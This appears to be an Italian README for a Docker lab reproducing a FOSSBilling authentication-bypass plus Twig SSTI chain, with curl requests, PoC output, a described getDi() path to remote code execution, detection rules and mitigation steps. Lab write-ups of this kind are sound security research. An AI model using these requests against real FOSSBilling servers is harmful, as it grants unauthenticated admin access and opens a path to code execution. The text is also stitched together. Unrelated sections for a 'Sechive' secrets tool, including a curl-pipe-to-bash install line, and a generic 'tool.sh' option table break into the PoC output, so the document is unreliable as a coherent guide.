
Docker lab che riproduce la catena RCE pre-auth di FOSSBilling (CVE-2026-27604 bypass di autenticazione + CVE-2026-28496 Twig SSTI) con un PoC in Python e un target di confronto con patch.
| CVE | Tipo | CVSS v4 | GHSA | Descrizione |
|---|
| CVE-2026-27604 | Auth Bypass | 10.0 | GHSA-78x5-c8gw-8279 | throw mancante nel verificatore di ruolo API espone gli endpoint admin a chiamanti non autenticati |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Rendering di template Twig non sandboxed tramite l'API string_render |
FOSSBilling è una piattaforma gratuita e open-source per la fatturazione e la gestione dei clienti. Le versioni dalla 0.5.4 alla 0.7.2 sono interessate. FOSSBilling 0.8.0 corregge entrambe le vulnerabilità.
Questo laboratorio confronta due versioni di FOSSBilling:
| Servizio | Versione FOSSBilling | Scopo | URL |
|---|---|---|---|
| vuln | 0.7.2 | Target vulnerabile | http://localhost:8081 |
| patched | 0.8.0 | Target corretto | http://localhost:8082 |
La catena validata in questo laboratorio locale è:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
Il target con patch (0.8.0) restituisce:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Il lab è intenzionalmente limitato ai servizi Docker locali. Non prende di mira sistemi esterni e non include web shell, malware, persistenza, callback esterni, dumping del database o payload distruttivi.
La RCE Pre-Auth richiede che entrambe le vulnerabilità lavorino insieme:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
Questo lab dimostra la catena utilizzando la proof aritmetica sicura `{{ 7*7 }}`. Il percorso RCE completo tramite `getDi()` non è dimostrato.
## Fatti verificati
| Affermazione | Evidenza | Come verificare |
| ----- | -------- | ------------- |
| CVE-2026-27604 è un bypass di autenticazione nella gestione dei ruoli dell'API di FOSSBilling. | GHSA-78x5-c8gw-8279: throw mancante nel verificatore dei ruoli consente a /api/system/ di risolversi come admin. | Esegui il PoC: il percorso guest viene negato, il percorso system restituisce il risultato admin. |
| CVE-2026-28496 è una SSTI nel rendering Twig di FOSSBilling. | GHSA-57mv-jm88-66jc: string_render passa _tpl a Twig createTemplate() senza sandbox. | Esegui il PoC: il server valuta {{ 7*7 }} e restituisce 49. |
| Entrambe le vulnerabilità interessano FOSSBilling dalla 0.5.4 alla 0.7.2. | Gli advisory pubblici identificano l'intervallo di versioni interessate. | Confronta i target vulnerabile (0.7.2) e patchato (0.8.0). |
| FOSSBilling 0.8.0 corregge entrambe le vulnerabilità. | Il target patchato restituisce "Unknown API call" per l'endpoint testato. | Esegui il PoC sulla porta 8082. |
| Il bypass di autenticazione fornisce accesso admin non autenticato. | /api/guest/ nega string_render; /api/system/ restituisce il risultato senza autenticazione. | Esegui lo Stage 1 del PoC. |
| La SSTI valuta template controllati dall'attaccante. | {{ 7*7 }} restituisce 49 attraverso il percorso vulnerabile. | Esegui lo Stage 2 del PoC. |
| La catena consente RCE Pre-Auth. | Bypass di autenticazione + SSTI = template injection non autenticata con contesto admin. | Esegui il PoC della catena completa. |
| Il PoC è solo HTTP. | poc.py invia solo richieste HTTP POST. | Ispeziona poc/poc.py. |
## Analisi della causa principale
### CVE-2026-27604: Bypass di autenticazione
L'API di FOSSBilling risolve i ruoli dal percorso URL:```text
/api/:role/:module/:method
Il controllo dei ruoli verifica se il ruolo richiesto è consentito. Tuttavia, nelle versioni vulnerabili, l'eccezione per i ruoli non consentiti viene istanziata ma mai lanciata:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
Poiché l'eccezione non viene mai lanciata, la validazione passa silenziosamente. Il ruolo `system` viene risolto nell'identità di amministratore cron, concedendo pieno accesso all'API di amministrazione a qualsiasi chiamante non autenticato.
L'impatto sulla sicurezza:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
Il ruolo system corrisponde all'identità amministrativa interna di cron, che dispone di privilegi amministrativi completi.
Il metodo API admin string_render riceve _tpl dai dati della richiesta e lo passa nella pipeline di rendering dei template Twig senza applicare il sandbox:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
Il metodo `renderString()` passa a `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Il problema critico: createTemplate($tpl) crea un template Twig dalla stringa controllata dall'attaccante e lo renderizza senza restrizioni di sandbox. Il template ha accesso agli oggetti nel contesto del template, incluso l'handler API guest che espone getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## Riepilogo della patch di origine
FOSSBilling 0.8.0 risolve entrambe le vulnerabilità:
**Correzione dell'Auth Bypass (CVE-2026-27604):**
Il verificatore dei ruoli ora genera correttamente l'eccezione per i ruoli non consentiti.
**Correzione della SSTI (CVE-2026-28496):**
Il rendering dei template viene indirizzato attraverso un renderer sandboxed:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
La policy della sandbox blocca per impostazione predefinita l'accesso ai metodi e alle proprietà:```php $methods = []; $properties = [];
Per il percorso API pubblico testato in questo laboratorio, FOSSBilling 0.8.0 non espone affatto l'endpoint testato:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Un controllo di regressione a livello di sorgente conferma la correzione più profonda:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## Architettura del Lab```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| Servizio | Componente | Versione / Ruolo |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 target vulnerabile |
| patched | FOSSBilling | 0.8.0 target con patch |
| vuln-db | MariaDB | database per il target vulnerabile |
| patched-db | MariaDB | database per il target con patch |
| installer-vuln | curl sidecar | installa automaticamente il target vulnerabile |
| installer-patched | curl sidecar | installa automaticamente il target con patch |
Servizi esposti predefiniti:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Gli installer sidecar vengono eseguiti automaticamente durante `docker compose up`. Inizializzano entrambi i target FOSSBilling con credenziali locali usa e getta e poi terminano.
## Requisiti
* Docker Desktop o Docker Engine
* Docker Compose v2
* Python 3
* Accesso a Internet durante il primo pull dell'immagine Docker
Non è richiesto alcun pacchetto Python di terze parti. Il PoC utilizza solo moduli della libreria standard di Python.
## Avvio rapido
Avvia il laboratorio da uno stato pulito:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Controlla lo stato del servizio:```bash docker compose ps -a
Servizi attesi in esecuzione:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Servizi di installazione completati previsti (codice di uscita 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Controlla i log dell'installer:```bash
docker compose logs installer-vuln installer-patched
Esegui la validazione della catena contro il target vulnerabile:```bash python3 poc/poc.py --url http://localhost:8081
Esegui la validazione della catena sul target corretto:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
Esempi:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
Il PoC convalida entrambe le CVE in tre fasi:
Fase 1 — Auth Bypass (CVE-2026-27604): Confronta il percorso API guest con il percorso API di sistema per dimostrare l'accesso amministrativo non autenticato.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**Stage 2 — SSTI (CVE-2026-28496):**
Conferma la valutazione del template lato server tramite l'endpoint admin bypassato.```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
Fase 3 — Valutazione della catena: Riassume il risultato combinato della catena.
Il PoC è solo HTTP. Non chiama Docker, Docker Compose, comandi shell o API dei container.
python3 poc/poc.py --url http://localhost:8081
## Installazione
### Installazione tramite script (Linux/macOS)
```bash
curl -fsSL https://raw.githubusercontent.com/cyberark/Sechive/main/install.sh | bash
git clone https://github.com/cyberark/Sechive.git
cd Sechive
pip install -r requirements.txt
docker build -t sechive .
docker run -it --rm -v $(pwd)/data:/app/data sechive
# Mostra il menu di aiuto
python sechive.py --help
# Elenca tutti i secret disponibili
python sechive.py list
# Recupera un secret specifico
python sechive.py get --name "my-secret"
# Crea un nuovo secret
python sechive.py create --name "my-secret" --value "super-secret-value"
# Elimina un secret
python sechive.py delete --name "my-secret"
# Esporta tutti i secret in un file JSON
python sechive.py export --output secrets.json
# Importa secret da un file JSON
python sechive.py import --input secrets.json
# Ruota un secret
python sechive.py rotate --name "my-secret"
Sechive utilizza un file di configurazione config.yaml nella directory principale. Le opzioni disponibili includono:
| Opzione | Descrizione | Valore predefinito |
|---|---|---|
storage_path | Percorso in cui sono archiviati i secret | ./data |
encryption_key | Chiave di crittografia per i secret | Generata automaticamente |
log_level | Livello di verbosità del logging | INFO |
backup_enabled | Abilita i backup automatici | true |
I contributi sono benvenuti! Si prega di consultare il file CONTRIBUTING.md per le linee guida.
LICENSE per i dettagli.```textScope: authorized local lab target only Target: http://localhost:8081
[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED
[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
### Target con patch (FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082
| --no-color | Disabilita l'output colorato |
| --verbose | Abilita la registrazione dettagliata |
| --quiet | Modalità silenziosa (solo errori) |
| --config <file> | Specifica il file di configurazione |
| --output <format> | Formato di output (json, yaml, table) |
| --timeout <seconds> | Timeout per operazione |
| --retry <count> | Numero di tentativi in caso di errore |
| --dry-run | Esegue senza apportare modifiche |
| --force | Forza l'esecuzione anche in caso di avvisi |
| --debug | Abilita l'output di debug |
| --version | Mostra la versione dello strumento |
| --help | Mostra il messaggio di aiuto |
# Esecuzione base
./tool.sh --target example.com
# Con file di configurazione personalizzato
./tool.sh --config custom.yaml --verbose
# Output in formato JSON
./tool.sh --output json --quiet
# Modalità dry-run con debug
./tool.sh --dry-run --debug
Il file di configurazione supporta i seguenti parametri:
target: example.com
timeout: 30
retry: 3
verbose: true
output_format: json
Se si verificano errori durante l'esecuzione:
Per ulteriore assistenza, consultare la documentazione ufficiale o aprire una issue sul repository GitHub.```text CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0
## Riproduzione HTTP manuale
### Prova di bypass dell'autenticazione (CVE-2026-27604)
Percorso guest (dovrebbe essere negato):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Percorso di sistema (aggira l'autenticazione):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
### SSTI proof (CVE-2026-28496)
La risposta del percorso di sistema dal target vulnerabile:```json
{"result":"49","error":null}
curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Risposta corretta prevista:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
La catena consente l'esecuzione di codice in remoto non autenticata contro FOSSBilling, una piattaforma di fatturazione e gestione clienti che può memorizzare:
Il payload dimostrativo del laboratorio è innocuo ({{ 7*7 }}). La catena di impatto nel mondo reale tramite getDi() e il container DI include:
Un singolo HTTP POST non autenticato è sufficiente per raggiungere il container DI. Questo PoC non dimostra tale percorso.
Pattern di richieste sospette:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)
Indicatori del corpo della richiesta:```text
_tpl, {{, }}, getDi, system, string_render
Regole di rilevamento ad alto segnale:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output
Azioni di monitoraggio consigliate:
* Esaminare i log di accesso per le richieste a `/api/system/`
* Esaminare le richieste contenenti `_tpl` nei corpi JSON
* Esaminare le richieste contenenti sintassi Twig (`{{`, `}}`, `getDi`)
* Generare avvisi in caso di risposte con esito positivo a `/api/system/` provenienti da IP esterni
* Esaminare l'attività degli amministratori se si sospetta uno sfruttamento
* Esaminare template, template email e sistemi di invio massivo per individuare sintassi Twig sospetta
## Mitigazione
Aggiornare FOSSBilling alla versione 0.8.0 o successiva.
Passaggi consigliati:
* Aggiornare FOSSBilling alla versione 0.8.0 o successiva
* Bloccare l'accesso esterno a `/api/system/*` a livello di reverse proxy o WAF
* Limitare l'accesso alle API a IP di origine attendibili
* Ruotare tutti i token API di amministratori e clienti
* Invalidare tutte le sessioni attive
* Esaminare i log di accesso per le richieste a `/api/system/`
* Verificare template email, sistemi di invio massivo e adattatori di pagamento per individuare sintassi Twig sospetta
* Ruotare i segreti se si sospetta uno sfruttamento
* Esaminare i record di clienti, fatturazione e server per individuare accessi non autorizzati
Lezioni di ingegneria della sicurezza:
* Sollevare sempre eccezioni nei controlli di autorizzazione — istanziare senza sollevare eccezioni è un bypass silenzioso
* Non eseguire il rendering di stringhe di template non attendibili in un contesto applicativo privilegiato
* Utilizzare il rendering di template in sandbox e negare per impostazione predefinita l'accesso a metodi e proprietà
* Non esporre container DI o service locator ai contesti dei template
* Mantenere espliciti i fallimenti di autorizzazione delle API e adottare un comportamento fail closed
## Comandi Utili```bash
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
docker compose down --remove-orphans
docker compose down -v --remove-orphans
rm -rf evidence/
## Confini di sicurezza
Questo laboratorio è destinato esclusivamente alla ricerca sulla sicurezza locale e alla dimostrazione controllata.
Non eseguire il PoC contro sistemi di cui non sei proprietario o per i quali non disponi di autorizzazione esplicita al test. Non utilizzare credenziali di produzione reali, dati dei clienti o chiavi API in questo laboratorio.
L'ambito previsto è limitato a:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
Il laboratorio non dimostra:
CVE-2026-27604 — Bypass dell'autenticazione in FOSSBilling https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — SSTI in FOSSBilling https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — Avviso sul bypass dell'autenticazione https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — Avviso SSTI https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — Bypass dell'autenticazione in FOSSBilling e Twig SSTI fino a RCE non autenticato https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
Repository GitHub di FOSSBilling https://github.com/FOSSBilling/FOSSBilling
Immagine Docker di FOSSBilling https://hub.docker.com/r/fossbilling/fossbilling
Documentazione Twig — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html